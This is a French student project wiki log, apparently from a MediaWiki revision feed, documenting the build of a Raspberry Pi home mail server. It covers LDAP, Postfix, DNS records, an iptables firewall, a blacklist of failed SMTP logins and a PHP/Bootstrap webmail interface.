Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25956</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25956"/>
				<updated>2016-02-02T12:31:39Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
